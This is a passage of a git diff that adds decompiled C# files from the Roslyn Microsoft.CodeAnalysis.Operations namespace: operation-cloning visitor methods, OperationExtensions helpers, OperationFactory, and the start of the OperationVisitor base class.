VisitDiscardPattern(IDiscardPatternOperation operation, object? argument) + { + DiscardPatternOperation discardPatternOperation = (DiscardPatternOperation)operation; + return new DiscardPatternOperation(discardPatternOperation.InputType, discardPatternOperation.NarrowedType, discardPatternOperation.OwningSemanticModel, discardPatternOperation.Syntax, discardPatternOperation.IsImplicit); + } + + public override IOperation VisitSwitchExpression(ISwitchExpressionOperation operation, object? argument) + { + SwitchExpressionOperation switchExpressionOperation = (SwitchExpressionOperation)operation; + return new SwitchExpressionOperation(Visit(switchExpressionOperation.Value), VisitArray(switchExpressionOperation.Arms), switchExpressionOperation.IsExhaustive, switchExpressionOperation.OwningSemanticModel, switchExpressionOperation.Syntax, switchExpressionOperation.Type, switchExpressionOperation.IsImplicit); + } + + public override IOperation VisitSwitchExpressionArm(ISwitchExpressionArmOperation operation, object? argument) + { + SwitchExpressionArmOperation switchExpressionArmOperation = (SwitchExpressionArmOperation)operation; + return new SwitchExpressionArmOperation(Visit(switchExpressionArmOperation.Pattern), Visit(switchExpressionArmOperation.Guard), Visit(switchExpressionArmOperation.Value), switchExpressionArmOperation.Locals, switchExpressionArmOperation.OwningSemanticModel, switchExpressionArmOperation.Syntax, switchExpressionArmOperation.IsImplicit); + } + + public override IOperation VisitPropertySubpattern(IPropertySubpatternOperation operation, object? argument) + { + PropertySubpatternOperation propertySubpatternOperation = (PropertySubpatternOperation)operation; + return new PropertySubpatternOperation(Visit(propertySubpatternOperation.Member), Visit(propertySubpatternOperation.Pattern), propertySubpatternOperation.OwningSemanticModel, propertySubpatternOperation.Syntax, propertySubpatternOperation.IsImplicit); + } + + internal override IOperation VisitAggregateQuery(IAggregateQueryOperation operation, object? argument) + { + AggregateQueryOperation aggregateQueryOperation = (AggregateQueryOperation)operation; + return new AggregateQueryOperation(Visit(aggregateQueryOperation.Group), Visit(aggregateQueryOperation.Aggregation), aggregateQueryOperation.OwningSemanticModel, aggregateQueryOperation.Syntax, aggregateQueryOperation.Type, aggregateQueryOperation.IsImplicit); + } + + internal override IOperation VisitFixed(IFixedOperation operation, object? argument) + { + FixedOperation fixedOperation = (FixedOperation)operation; + return new FixedOperation(fixedOperation.Locals, Visit(fixedOperation.Variables), Visit(fixedOperation.Body), fixedOperation.OwningSemanticModel, fixedOperation.Syntax, fixedOperation.IsImplicit); + } + + internal override IOperation VisitNoPiaObjectCreation(INoPiaObjectCreationOperation operation, object? argument) + { + NoPiaObjectCreationOperation noPiaObjectCreationOperation = (NoPiaObjectCreationOperation)operation; + return new NoPiaObjectCreationOperation(Visit(noPiaObjectCreationOperation.Initializer), noPiaObjectCreationOperation.OwningSemanticModel, noPiaObjectCreationOperation.Syntax, noPiaObjectCreationOperation.Type, noPiaObjectCreationOperation.IsImplicit); + } + + internal override IOperation VisitPlaceholder(IPlaceholderOperation operation, object? argument) + { + PlaceholderOperation placeholderOperation = (PlaceholderOperation)operation; + return new PlaceholderOperation(placeholderOperation.PlaceholderKind, placeholderOperation.OwningSemanticModel, placeholderOperation.Syntax, placeholderOperation.Type, placeholderOperation.IsImplicit); + } + + internal override IOperation VisitWithStatement(IWithStatementOperation operation, object? argument) + { + WithStatementOperation withStatementOperation = (WithStatementOperation)operation; + return new WithStatementOperation(Visit(withStatementOperation.Body), Visit(withStatementOperation.Value), withStatementOperation.OwningSemanticModel, withStatementOperation.Syntax, withStatementOperation.IsImplicit); + } + + public override IOperation VisitUsingDeclaration(IUsingDeclarationOperation operation, object? argument) + { + UsingDeclarationOperation usingDeclarationOperation = (UsingDeclarationOperation)operation; + return new UsingDeclarationOperation(Visit(usingDeclarationOperation.DeclarationGroup), usingDeclarationOperation.IsAsynchronous, usingDeclarationOperation.DisposeInfo, usingDeclarationOperation.OwningSemanticModel, usingDeclarationOperation.Syntax, usingDeclarationOperation.IsImplicit); + } + + public override IOperation VisitNegatedPattern(INegatedPatternOperation operation, object? argument) + { + NegatedPatternOperation negatedPatternOperation = (NegatedPatternOperation)operation; + return new NegatedPatternOperation(Visit(negatedPatternOperation.Pattern), negatedPatternOperation.InputType, negatedPatternOperation.NarrowedType, negatedPatternOperation.OwningSemanticModel, negatedPatternOperation.Syntax, negatedPatternOperation.IsImplicit); + } + + public override IOperation VisitBinaryPattern(IBinaryPatternOperation operation, object? argument) + { + BinaryPatternOperation binaryPatternOperation = (BinaryPatternOperation)operation; + return new BinaryPatternOperation(binaryPatternOperation.OperatorKind, Visit(binaryPatternOperation.LeftPattern), Visit(binaryPatternOperation.RightPattern), binaryPatternOperation.InputType, binaryPatternOperation.NarrowedType, binaryPatternOperation.OwningSemanticModel, binaryPatternOperation.Syntax, binaryPatternOperation.IsImplicit); + } + + public override IOperation VisitTypePattern(ITypePatternOperation operation, object? argument) + { + TypePatternOperation typePatternOperation = (TypePatternOperation)operation; + return new TypePatternOperation(typePatternOperation.MatchedType, typePatternOperation.InputType, typePatternOperation.NarrowedType, typePatternOperation.OwningSemanticModel, typePatternOperation.Syntax, typePatternOperation.IsImplicit); + } + + public override IOperation VisitRelationalPattern(IRelationalPatternOperation operation, object? argument) + { + RelationalPatternOperation relationalPatternOperation = (RelationalPatternOperation)operation; + return new RelationalPatternOperation(relationalPatternOperation.OperatorKind, Visit(relationalPatternOperation.Value), relationalPatternOperation.InputType, relationalPatternOperation.NarrowedType, relationalPatternOperation.OwningSemanticModel, relationalPatternOperation.Syntax, relationalPatternOperation.IsImplicit); + } + + public override IOperation VisitWith(IWithOperation operation, object? argument) + { + WithOperation withOperation = (WithOperation)operation; + return new WithOperation(Visit(withOperation.Operand), withOperation.CloneMethod, Visit(withOperation.Initializer), withOperation.OwningSemanticModel, withOperation.Syntax, withOperation.Type, withOperation.IsImplicit); + } + + public override IOperation VisitInterpolatedStringHandlerCreation(IInterpolatedStringHandlerCreationOperation operation, object? argument) + { + InterpolatedStringHandlerCreationOperation interpolatedStringHandlerCreationOperation = (InterpolatedStringHandlerCreationOperation)operation; + return new InterpolatedStringHandlerCreationOperation(Visit(interpolatedStringHandlerCreationOperation.HandlerCreation), interpolatedStringHandlerCreationOperation.HandlerCreationHasSuccessParameter, interpolatedStringHandlerCreationOperation.HandlerAppendCallsReturnBool, Visit(interpolatedStringHandlerCreationOperation.Content), interpolatedStringHandlerCreationOperation.OwningSemanticModel, interpolatedStringHandlerCreationOperation.Syntax, interpolatedStringHandlerCreationOperation.Type, interpolatedStringHandlerCreationOperation.IsImplicit); + } + + public override IOperation VisitInterpolatedStringAddition(IInterpolatedStringAdditionOperation operation, object? argument) + { + InterpolatedStringAdditionOperation interpolatedStringAdditionOperation = (InterpolatedStringAdditionOperation)operation; + return new InterpolatedStringAdditionOperation(Visit(interpolatedStringAdditionOperation.Left), Visit(interpolatedStringAdditionOperation.Right), interpolatedStringAdditionOperation.OwningSemanticModel, interpolatedStringAdditionOperation.Syntax, interpolatedStringAdditionOperation.IsImplicit); + } + + public override IOperation VisitInterpolatedStringAppend(IInterpolatedStringAppendOperation operation, object? argument) + { + InterpolatedStringAppendOperation interpolatedStringAppendOperation = (InterpolatedStringAppendOperation)operation; + return new InterpolatedStringAppendOperation(Visit(interpolatedStringAppendOperation.AppendCall), interpolatedStringAppendOperation.Kind, interpolatedStringAppendOperation.OwningSemanticModel, interpolatedStringAppendOperation.Syntax, interpolatedStringAppendOperation.IsImplicit); + } + + public override IOperation VisitInterpolatedStringHandlerArgumentPlaceholder(IInterpolatedStringHandlerArgumentPlaceholderOperation operation, object? argument) + { + InterpolatedStringHandlerArgumentPlaceholderOperation interpolatedStringHandlerArgumentPlaceholderOperation = (InterpolatedStringHandlerArgumentPlaceholderOperation)operation; + return new InterpolatedStringHandlerArgumentPlaceholderOperation(interpolatedStringHandlerArgumentPlaceholderOperation.ArgumentIndex, interpolatedStringHandlerArgumentPlaceholderOperation.PlaceholderKind, interpolatedStringHandlerArgumentPlaceholderOperation.OwningSemanticModel, interpolatedStringHandlerArgumentPlaceholderOperation.Syntax, interpolatedStringHandlerArgumentPlaceholderOperation.IsImplicit); + } + + public override IOperation VisitFunctionPointerInvocation(IFunctionPointerInvocationOperation operation, object? argument) + { + FunctionPointerInvocationOperation functionPointerInvocationOperation = (FunctionPointerInvocationOperation)operation; + return new FunctionPointerInvocationOperation(Visit(functionPointerInvocationOperation.Target), VisitArray(functionPointerInvocationOperation.Arguments), functionPointerInvocationOperation.OwningSemanticModel, functionPointerInvocationOperation.Syntax, functionPointerInvocationOperation.Type, functionPointerInvocationOperation.IsImplicit); + } + + public override IOperation VisitListPattern(IListPatternOperation operation, object? argument) + { + ListPatternOperation listPatternOperation = (ListPatternOperation)operation; + return new ListPatternOperation(listPatternOperation.LengthSymbol, listPatternOperation.IndexerSymbol, VisitArray(listPatternOperation.Patterns), listPatternOperation.DeclaredSymbol, listPatternOperation.InputType, listPatternOperation.NarrowedType, listPatternOperation.OwningSemanticModel, listPatternOperation.Syntax, listPatternOperation.IsImplicit); + } + + public override IOperation VisitSlicePattern(ISlicePatternOperation operation, object? argument) + { + SlicePatternOperation slicePatternOperation = (SlicePatternOperation)operation; + return new SlicePatternOperation(slicePatternOperation.SliceSymbol, Visit(slicePatternOperation.Pattern), slicePatternOperation.InputType, slicePatternOperation.NarrowedType, slicePatternOperation.OwningSemanticModel, slicePatternOperation.Syntax, slicePatternOperation.IsImplicit); + } + + public override IOperation VisitImplicitIndexerReference(IImplicitIndexerReferenceOperation operation, object? argument) + { + ImplicitIndexerReferenceOperation implicitIndexerReferenceOperation = (ImplicitIndexerReferenceOperation)operation; + return new ImplicitIndexerReferenceOperation(Visit(implicitIndexerReferenceOperation.Instance), Visit(implicitIndexerReferenceOperation.Argument), implicitIndexerReferenceOperation.LengthSymbol, implicitIndexerReferenceOperation.IndexerSymbol, implicitIndexerReferenceOperation.OwningSemanticModel, implicitIndexerReferenceOperation.Syntax, implicitIndexerReferenceOperation.Type, implicitIndexerReferenceOperation.IsImplicit); + } + + public override IOperation VisitUtf8String(IUtf8StringOperation operation, object? argument) + { + Utf8StringOperation utf8StringOperation = (Utf8StringOperation)operation; + return new Utf8StringOperation(utf8StringOperation.Value, utf8StringOperation.OwningSemanticModel, utf8StringOperation.Syntax, utf8StringOperation.Type, utf8StringOperation.IsImplicit); + } + + public override IOperation VisitAttribute(IAttributeOperation operation, object? argument) + { + AttributeOperation attributeOperation = (AttributeOperation)operation; + return new AttributeOperation(Visit(attributeOperation.Operation), attributeOperation.OwningSemanticModel, attributeOperation.Syntax, attributeOperation.IsImplicit); + } + + public override IOperation VisitInlineArrayAccess(IInlineArrayAccessOperation operation, object? argument) + { + InlineArrayAccessOperation inlineArrayAccessOperation = (InlineArrayAccessOperation)operation; + return new InlineArrayAccessOperation(Visit(inlineArrayAccessOperation.Instance), Visit(inlineArrayAccessOperation.Argument), inlineArrayAccessOperation.OwningSemanticModel, inlineArrayAccessOperation.Syntax, inlineArrayAccessOperation.Type, inlineArrayAccessOperation.IsImplicit); + } + + [return: NotNullIfNotNull("operation")] + public IOperation? Visit(IOperation? operation) + { + return Visit(operation, null); + } + + internal override IOperation VisitNoneOperation(IOperation operation, object? argument) + { + return new NoneOperation(VisitArray(((Operation)operation).ChildOperations.ToImmutableArray()), ((Operation)operation).OwningSemanticModel, operation.Syntax, operation.Type, operation.GetConstantValue(), operation.IsImplicit); + } + + public override IOperation VisitFlowAnonymousFunction(IFlowAnonymousFunctionOperation operation, object? argument) + { + FlowAnonymousFunctionOperation flowAnonymousFunctionOperation = (FlowAnonymousFunctionOperation)operation; + return new FlowAnonymousFunctionOperation(in flowAnonymousFunctionOperation.Context, flowAnonymousFunctionOperation.Original, operation.IsImplicit); + } + + public override IOperation VisitDynamicObjectCreation(IDynamicObjectCreationOperation operation, object? argument) + { + return new DynamicObjectCreationOperation(Visit(operation.Initializer), VisitArray(operation.Arguments), ((HasDynamicArgumentsExpression)operation).ArgumentNames, ((HasDynamicArgumentsExpression)operation).ArgumentRefKinds, ((Operation)operation).OwningSemanticModel, operation.Syntax, operation.Type, operation.IsImplicit); + } + + public override IOperation VisitDynamicInvocation(IDynamicInvocationOperation operation, object? argument) + { + return new DynamicInvocationOperation(Visit(operation.Operation), VisitArray(operation.Arguments), ((HasDynamicArgumentsExpression)operation).ArgumentNames, ((HasDynamicArgumentsExpression)operation).ArgumentRefKinds, ((Operation)operation).OwningSemanticModel, operation.Syntax, operation.Type, operation.IsImplicit); + } + + public override IOperation VisitDynamicIndexerAccess(IDynamicIndexerAccessOperation operation, object? argument) + { + return new DynamicIndexerAccessOperation(Visit(operation.Operation), VisitArray(operation.Arguments), ((HasDynamicArgumentsExpression)operation).ArgumentNames, ((HasDynamicArgumentsExpression)operation).ArgumentRefKinds, ((Operation)operation).OwningSemanticModel, operation.Syntax, operation.Type, operation.IsImplicit); + } + + public override IOperation VisitInvalid(IInvalidOperation operation, object? argument) + { + return new InvalidOperation(VisitArray(((InvalidOperation)operation).Children), ((Operation)operation).OwningSemanticModel, operation.Syntax, operation.Type, operation.GetConstantValue(), operation.IsImplicit); + } + + public override IOperation VisitFlowCapture(IFlowCaptureOperation operation, object? argument) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/OperationCloner.cs", 52); + } + + public override IOperation VisitIsNull(IIsNullOperation operation, object? argument) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/OperationCloner.cs", 57); + } + + public override IOperation VisitCaughtException(ICaughtExceptionOperation operation, object? argument) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/OperationCloner.cs", 62); + } + + public override IOperation VisitStaticLocalInitializationSemaphore(IStaticLocalInitializationSemaphoreOperation operation, object? argument) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/OperationCloner.cs", 67); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationExtensions.cs new file mode 100644 index 0000000..6a63c96 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationExtensions.cs @@ -0,0 +1,280 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.Operations; + +public static class OperationExtensions +{ + public static IMethodSymbol GetFunctionPointerSignature(this IFunctionPointerInvocationOperation functionPointer) + { + return ((IFunctionPointerTypeSymbol)functionPointer.Target.Type).Signature; + } + + internal static bool HasErrors(this IOperation operation, Compilation compilation, CancellationToken cancellationToken = default(CancellationToken)) + { + if (operation == null) + { + throw new ArgumentNullException("operation"); + } + if (compilation == null) + { + throw new ArgumentNullException("compilation"); + } + if (operation.Syntax == null) + { + return true; + } + SemanticModel semanticModel = operation.SemanticModel; + if (semanticModel == null || semanticModel.SyntaxTree != operation.Syntax.SyntaxTree) + { + semanticModel = compilation.GetSemanticModel(operation.Syntax.SyntaxTree); + } + if (semanticModel.IsSpeculativeSemanticModel) + { + return false; + } + return semanticModel.GetDiagnostics(operation.Syntax.Span, cancellationToken).Any((Diagnostic d) => d.DefaultSeverity == DiagnosticSeverity.Error); + } + + public static IEnumerable Descendants(this IOperation? operation) + { + return Descendants(operation, includeSelf: false); + } + + public static IEnumerable DescendantsAndSelf(this IOperation? operation) + { + return Descendants(operation, includeSelf: true); + } + + private static IEnumerable Descendants(IOperation? operation, bool includeSelf) + { + if (operation == null) + { + yield break; + } + if (includeSelf) + { + yield return operation; + } + ArrayBuilder stack = ArrayBuilder.GetInstance(); + stack.Push(operation.ChildOperations.GetEnumerator()); + while (stack.Any()) + { + IOperation.OperationList.Enumerator e = stack.Pop(); + if (e.MoveNext()) + { + IOperation current = e.Current; + stack.Push(e); + if (current != null) + { + yield return current; + stack.Push(current.ChildOperations.GetEnumerator()); + } + } + } + stack.Free(); + } + + public static ImmutableArray GetDeclaredVariables(this IVariableDeclarationGroupOperation declarationGroup) + { + if (declarationGroup == null) + { + throw new ArgumentNullException("declarationGroup"); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = declarationGroup.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.GetDeclaredVariables(instance); + } + return instance.ToImmutableAndFree(); + } + + public static ImmutableArray GetDeclaredVariables(this IVariableDeclarationOperation declaration) + { + if (declaration == null) + { + throw new ArgumentNullException("declaration"); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + declaration.GetDeclaredVariables(instance); + return instance.ToImmutableAndFree(); + } + + private static void GetDeclaredVariables(this IVariableDeclarationOperation declaration, ArrayBuilder arrayBuilder) + { + ImmutableArray.Enumerator enumerator = declaration.Declarators.GetEnumerator(); + while (enumerator.MoveNext()) + { + IVariableDeclaratorOperation current = enumerator.Current; + arrayBuilder.Add(current.Symbol); + } + } + + public static IVariableInitializerOperation? GetVariableInitializer(this IVariableDeclaratorOperation declarationOperation) + { + if (declarationOperation == null) + { + throw new ArgumentNullException("declarationOperation"); + } + IVariableInitializerOperation? initializer = declarationOperation.Initializer; + if (initializer == null) + { + IVariableDeclarationOperation obj = declarationOperation.Parent as IVariableDeclarationOperation; + if (obj == null) + { + return null; + } + initializer = obj.Initializer; + } + return initializer; + } + + public static string? GetArgumentName(this IDynamicInvocationOperation dynamicOperation, int index) + { + if (dynamicOperation == null) + { + throw new ArgumentNullException("dynamicOperation"); + } + return ((HasDynamicArgumentsExpression)dynamicOperation).GetArgumentName(index); + } + + public static string? GetArgumentName(this IDynamicIndexerAccessOperation dynamicOperation, int index) + { + if (dynamicOperation == null) + { + throw new ArgumentNullException("dynamicOperation"); + } + return ((HasDynamicArgumentsExpression)dynamicOperation).GetArgumentName(index); + } + + public static string? GetArgumentName(this IDynamicObjectCreationOperation dynamicOperation, int index) + { + if (dynamicOperation == null) + { + throw new ArgumentNullException("dynamicOperation"); + } + return ((HasDynamicArgumentsExpression)dynamicOperation).GetArgumentName(index); + } + + internal static string? GetArgumentName(this HasDynamicArgumentsExpression dynamicOperation, int index) + { + if (dynamicOperation.Arguments.IsDefaultOrEmpty) + { + throw new InvalidOperationException(); + } + if (index < 0 || index >= dynamicOperation.Arguments.Length) + { + throw new ArgumentOutOfRangeException("index"); + } + ImmutableArray argumentNames = dynamicOperation.ArgumentNames; + if (!argumentNames.IsDefaultOrEmpty) + { + return argumentNames[index]; + } + return null; + } + + public static RefKind? GetArgumentRefKind(this IDynamicInvocationOperation dynamicOperation, int index) + { + if (dynamicOperation == null) + { + throw new ArgumentNullException("dynamicOperation"); + } + return ((HasDynamicArgumentsExpression)dynamicOperation).GetArgumentRefKind(index); + } + + public static RefKind? GetArgumentRefKind(this IDynamicIndexerAccessOperation dynamicOperation, int index) + { + if (dynamicOperation == null) + { + throw new ArgumentNullException("dynamicOperation"); + } + return ((HasDynamicArgumentsExpression)dynamicOperation).GetArgumentRefKind(index); + } + + public static RefKind? GetArgumentRefKind(this IDynamicObjectCreationOperation dynamicOperation, int index) + { + if (dynamicOperation == null) + { + throw new ArgumentNullException("dynamicOperation"); + } + return ((HasDynamicArgumentsExpression)dynamicOperation).GetArgumentRefKind(index); + } + + internal static RefKind? GetArgumentRefKind(this HasDynamicArgumentsExpression dynamicOperation, int index) + { + if (dynamicOperation.Arguments.IsDefaultOrEmpty) + { + throw new InvalidOperationException(); + } + if (index < 0 || index >= dynamicOperation.Arguments.Length) + { + throw new ArgumentOutOfRangeException("index"); + } + ImmutableArray argumentRefKinds = dynamicOperation.ArgumentRefKinds; + if (argumentRefKinds.IsDefault) + { + return null; + } + if (argumentRefKinds.IsEmpty) + { + return RefKind.None; + } + return argumentRefKinds[index]; + } + + internal static IOperation GetRootOperation(this IOperation operation) + { + while (operation.Parent != null) + { + operation = operation.Parent; + } + return operation; + } + + public static IOperation? GetCorrespondingOperation(this IBranchOperation operation) + { + if (operation == null) + { + throw new ArgumentNullException("operation"); + } + if (operation.SemanticModel == null) + { + throw new InvalidOperationException(CodeAnalysisResources.OperationMustNotBeControlFlowGraphPart); + } + if (operation.BranchKind != BranchKind.Break && operation.BranchKind != BranchKind.Continue) + { + return null; + } + if (operation.Target == null) + { + return null; + } + IOperation operation2 = operation; + while (operation2.Parent != null) + { + IOperation operation3 = operation2; + if (!(operation3 is ILoopOperation loopOperation) || (!operation.Target.Equals(loopOperation.ExitLabel) && !operation.Target.Equals(loopOperation.ContinueLabel))) + { + if (operation3 is ISwitchOperation switchOperation && operation.Target.Equals(switchOperation.ExitLabel)) + { + return switchOperation; + } + operation2 = operation2.Parent; + continue; + } + return loopOperation; + } + return null; + } + + internal static ConstantValue? GetConstantValue(this IOperation operation) + { + return ((Operation)operation).OperationConstantValue; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationFactory.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationFactory.cs new file mode 100644 index 0000000..590b9ed --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationFactory.cs @@ -0,0 +1,21 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +internal static class OperationFactory +{ + private class IdentityConvertibleConversion : IConvertibleConversion + { + public CommonConversion ToCommonConversion() + { + return new CommonConversion(exists: true, isIdentity: true, isNumeric: false, isReference: false, isImplicit: true, isNullable: false, null, null); + } + } + + public static readonly IConvertibleConversion IdentityConversion = new IdentityConvertibleConversion(); + + public static IInvalidOperation CreateInvalidOperation(SemanticModel semanticModel, SyntaxNode syntax, ImmutableArray children, bool isImplicit) + { + return new InvalidOperation(children, semanticModel, syntax, null, null, isImplicit); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationVisitor.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationVisitor.cs new file mode 100644 index 0000000..c552902 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationVisitor.cs @@ -0,0 +1,1353 @@ +using System; +using Microsoft.CodeAnalysis.FlowAnalysis; + +namespace Microsoft.CodeAnalysis.Operations; + +public abstract class OperationVisitor +{ + public virtual void Visit(IOperation? operation) + { + operation?.Accept(this); + } + + public virtual void DefaultVisit(IOperation operation) + { + } + + internal virtual void VisitNoneOperation(IOperation operation) + { + } + + public virtual void VisitInvalid(IInvalidOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitBlock(IBlockOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitVariableDeclarationGroup(IVariableDeclarationGroupOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitSwitch(ISwitchOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitForEachLoop(IForEachLoopOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitForLoop(IForLoopOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitForToLoop(IForToLoopOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitWhileLoop(IWhileLoopOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitLabeled(ILabeledOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitBranch(IBranchOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitEmpty(IEmptyOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitReturn(IReturnOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitLock(ILockOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitTry(ITryOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitUsing(IUsingOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitExpressionStatement(IExpressionStatementOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitLocalFunction(ILocalFunctionOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitStop(IStopOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitEnd(IEndOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitRaiseEvent(IRaiseEventOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitLiteral(ILiteralOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitConversion(IConversionOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitInvocation(IInvocationOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitArrayElementReference(IArrayElementReferenceOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitLocalReference(ILocalReferenceOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitParameterReference(IParameterReferenceOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitFieldReference(IFieldReferenceOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitMethodReference(IMethodReferenceOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitPropertyReference(IPropertyReferenceOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitEventReference(IEventReferenceOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitUnaryOperator(IUnaryOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitBinaryOperator(IBinaryOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitConditional(IConditionalOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitCoalesce(ICoalesceOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitAnonymousFunction(IAnonymousFunctionOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitObjectCreation(IObjectCreationOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitTypeParameterObjectCreation(ITypeParameterObjectCreationOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitArrayCreation(IArrayCreationOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitInstanceReference(IInstanceReferenceOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitIsType(IIsTypeOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitAwait(IAwaitOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitSimpleAssignment(ISimpleAssignmentOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitCompoundAssignment(ICompoundAssignmentOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitParenthesized(IParenthesizedOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitEventAssignment(IEventAssignmentOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitConditionalAccess(IConditionalAccessOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitConditionalAccessInstance(IConditionalAccessInstanceOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitInterpolatedString(IInterpolatedStringOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitAnonymousObjectCreation(IAnonymousObjectCreationOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitObjectOrCollectionInitializer(IObjectOrCollectionInitializerOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitMemberInitializer(IMemberInitializerOperation operation) + { + DefaultVisit(operation); + } + + [Obsolete("ICollectionElementInitializerOperation has been replaced with IInvocationOperation and IDynamicInvocationOperation", true)] + public virtual void VisitCollectionElementInitializer(ICollectionElementInitializerOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitNameOf(INameOfOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitTuple(ITupleOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitDynamicObjectCreation(IDynamicObjectCreationOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitDynamicMemberReference(IDynamicMemberReferenceOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitDynamicInvocation(IDynamicInvocationOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitDynamicIndexerAccess(IDynamicIndexerAccessOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitTranslatedQuery(ITranslatedQueryOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitDelegateCreation(IDelegateCreationOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitDefaultValue(IDefaultValueOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitTypeOf(ITypeOfOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitSizeOf(ISizeOfOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitAddressOf(IAddressOfOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitIsPattern(IIsPatternOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitIncrementOrDecrement(IIncrementOrDecrementOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitThrow(IThrowOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitDeconstructionAssignment(IDeconstructionAssignmentOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitDeclarationExpression(IDeclarationExpressionOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitOmittedArgument(IOmittedArgumentOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitFieldInitializer(IFieldInitializerOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitVariableInitializer(IVariableInitializerOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitPropertyInitializer(IPropertyInitializerOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitParameterInitializer(IParameterInitializerOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitArrayInitializer(IArrayInitializerOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitVariableDeclarator(IVariableDeclaratorOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitVariableDeclaration(IVariableDeclarationOperation operation) + { + DefaultVisit(operation); + 